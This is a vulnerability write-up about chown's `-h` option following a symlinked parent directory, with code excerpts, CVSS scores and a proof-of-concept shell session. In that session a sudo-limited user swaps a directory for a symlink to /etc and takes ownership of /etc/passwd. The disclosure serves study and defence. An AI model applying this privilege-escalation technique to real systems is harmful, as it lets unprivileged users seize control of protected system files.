--- title: chown -h bypass——english version author: address@hidden, address@hidden --- # chown -h bypass [TOC] ## 1. Description In the user manual of command **chown**, the description of the `-h` option is as follows. If we use command `chown` with `-h` option, only symbolic links will be affected rather than any referenced file. > -h, --no-dereference affect symbolic links instead of any referenced file (useful only on systems that can change the ownership of a symlink) But we found we can bypass the `-h` option to affected the referenced file. ### 1.1 Precondition: The attacker already knows: * The user who has root permission will execute 'chown' to a specific file under one directory owned by a normal user who does not have root permission. * The attacker can control that normal user. * The user who has root permission will change the owner or group user of that file to that normal user. ### 1.2 The Process of Attack: * First, the attacker uses the permission of a normal user to create a symlink linked to a system directory, which is not owned by the normal user(For example, `/etc` or directory owned by the root user or wheel group) . * Besides, the following requirement should be satisfied: * There's a file under the referenced directory the having same name with the file that will be chowned by root permission user. * Then, waitting for the user who has root permission to execute the `chown` command. This will make the real file's owner or group changed rather than the symlink. ( The attacker can also execute the `chown` command by himself if he can run the `sudo` or `pkexec` command set by the `root` user. ) ## 2. Code Analysis * First, `chown.c` will parse the parameters. The variable `dereference` is set to `0` if `-h` option is given. ``` /* chown.c */ case 'h': /* --no-dereference: affect symlinks */ dereference = 0; break; ``` * Then, `chopt.affect_symlink_referent` will be set as `True` if `-h` option is given. ``` /* chown.c */ chopt.affect_symlink_referent = (dereference != 0); ``` * Last, in file `chown-core.c`, the operator will affect the symlink itself if `chopt.affect_symlink_referent` is True and the target is a symlink. The target is a file rather than a symlink if attacker change the directory of the target file to a symbolic link which is linked to a directory . This is contrary to expectations! The `file_stats` becomes the state of the file under the referenced directory rather than the file under the symbolic link. (For example, in our poc, the file `poc/passwd` is not a symlink and the file_stats actually is the state of file `/etc/passwd`). Then, the file under the referenced directory's owner will be changed. ``` /* chown-core.c */ /* If this is a symlink and we're dereferencing them, stat it to get info on the referent. */ if (chopt->affect_symlink_referent && S_ISLNK (file_stats->st_mode)) { if (fstatat (fts->fts_cwd_fd, file, &stat_buf, 0) != 0) { if (! chopt->force_silent) error (0, errno, _("cannot dereference %s"), quoteaf (file_full_name)); ok = false; } file_stats = &stat_buf; } ``` ## 3. poc First, there's a directory `/home/st0n3/chown_test` owned by user `st0n3`. ```shell= address@hidden:~# ls -lahd /home/st0n3/chown_test drwxr-xr-x 3 st0n3 st0n3 4.0K May 9 13:28 /home/st0n3/chown_test ``` The user root has a directory `poc` under directory `/home/st0n3/chown_test`, and a file `passwd` under directory `poc`. ```shell= address@hidden:~# ls -lahd /home/st0n3/chown_test/poc/ drwxr-xr-x 2 root root 4.0K May 9 13:29 /home/st0n3/chown_test/poc/ address@hidden:~# ls -lah /home/st0n3/chown_test/poc/passwd -rw-r--r-- 1 root root 0 May 9 13:29 /home/st0n3/chown_test/poc/passwd ``` Now, the administrator wants user `st0n3` has permission to change the owner of `/home/st0n3/chown_test/poc/passwd` to `st0n3`. According to `'only symbolic links will be affected rather than any referenced file'`, the administrator assumes that `chown -h st0n3 [some root files under st0n3's directory]` will only affect these file. If the administrator set this 'sudo rule': `st0n3 ALL=(root) NOPASSWD: /bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd`. As the manual of command `chown`, user `st0n3` only can change the owner of `/home/st0n3/chown_test/poc/passwd`. If st0n3 change directory `poc` to a symbolic link, the operator of user `st0n3` still will not affect other root files. ``` # sudo -U st0n3 -l Matching Defaults entries for st0n3 on e87d06a38f04: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User st0n3 may run the following commands on e87d06a38f04: (root) NOPASSWD: /bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd ``` But there is a vulnerability, user `st0n3` can use this vulnerability to change the owner of other root files. Let's see it. ```shell= address@hidden:~/chown_test$ whoami st0n3 address@hidden:~/chown_test$ id uid=1000(st0n3) gid=1000(st0n3) groups=1000(st0n3) address@hidden:~/chown_test$ sudo -l Matching Defaults entries for st0n3 on e87d06a38f04: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User st0n3 may run the following commands on e87d06a38f04: (root) NOPASSWD: /bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd address@hidden:~/chown_test$ ls -lah total 12K drwxr-xr-x 3 st0n3 st0n3 4.0K May 9 13:28 . drwxr-xr-x 3 st0n3 st0n3 4.0K May 9 13:28 .. drwxr-xr-x 2 root root 4.0K May 9 13:34 poc address@hidden:~/chown_test$ mv poc/ poc1 address@hidden:~/chown_test$ ls -lah total 12K drwxr-xr-x 3 st0n3 st0n3 4.0K May 9 13:46 . drwxr-xr-x 3 st0n3 st0n3 4.0K May 9 13:28 .. drwxr-xr-x 2 root root 4.0K May 9 13:34 poc1 address@hidden:~/chown_test$ ln -s /etc poc address@hidden:~/chown_test$ ls -lah total 12K drwxr-xr-x 3 st0n3 st0n3 4.0K May 9 13:47 . drwxr-xr-x 3 st0n3 st0n3 4.0K May 9 13:28 .. lrwxrwxrwx 1 st0n3 st0n3 4 May 9 13:47 poc -> /etc drwxr-xr-x 2 root root 4.0K May 9 13:34 poc1 address@hidden:~/chown_test$ ls -lah /etc/passwd -rw-r--r-- 1 root root 970 May 9 13:13 /etc/passwd address@hidden:~/chown_test$ sudo /bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd address@hidden:~/chown_test$ ls -lah /etc/passwd -rw-r--r-- 1 st0n3 root 970 May 9 13:13 /etc/passwd ``` As you can see, the owner of file `/etc/passwd` has been changed to user `st0n3`. ## 4. cvss3.0 score if the attacker already can execute command `chown` by using sudo or pkexec which is set by root permission user, the vector 'UI' is None. If there's a system file having the same name with the file will be chowned by root permission user, the vector 'C','I','H' are all 'High'. And the score of cvss3.0 is 7.8; 7.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H if the attacker only knows when the `root` permission user will execute command `chown` but cannot execute by himself, the vector 'UI' is 'Required'. In this case, the score is 7.3 . 7.3 CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H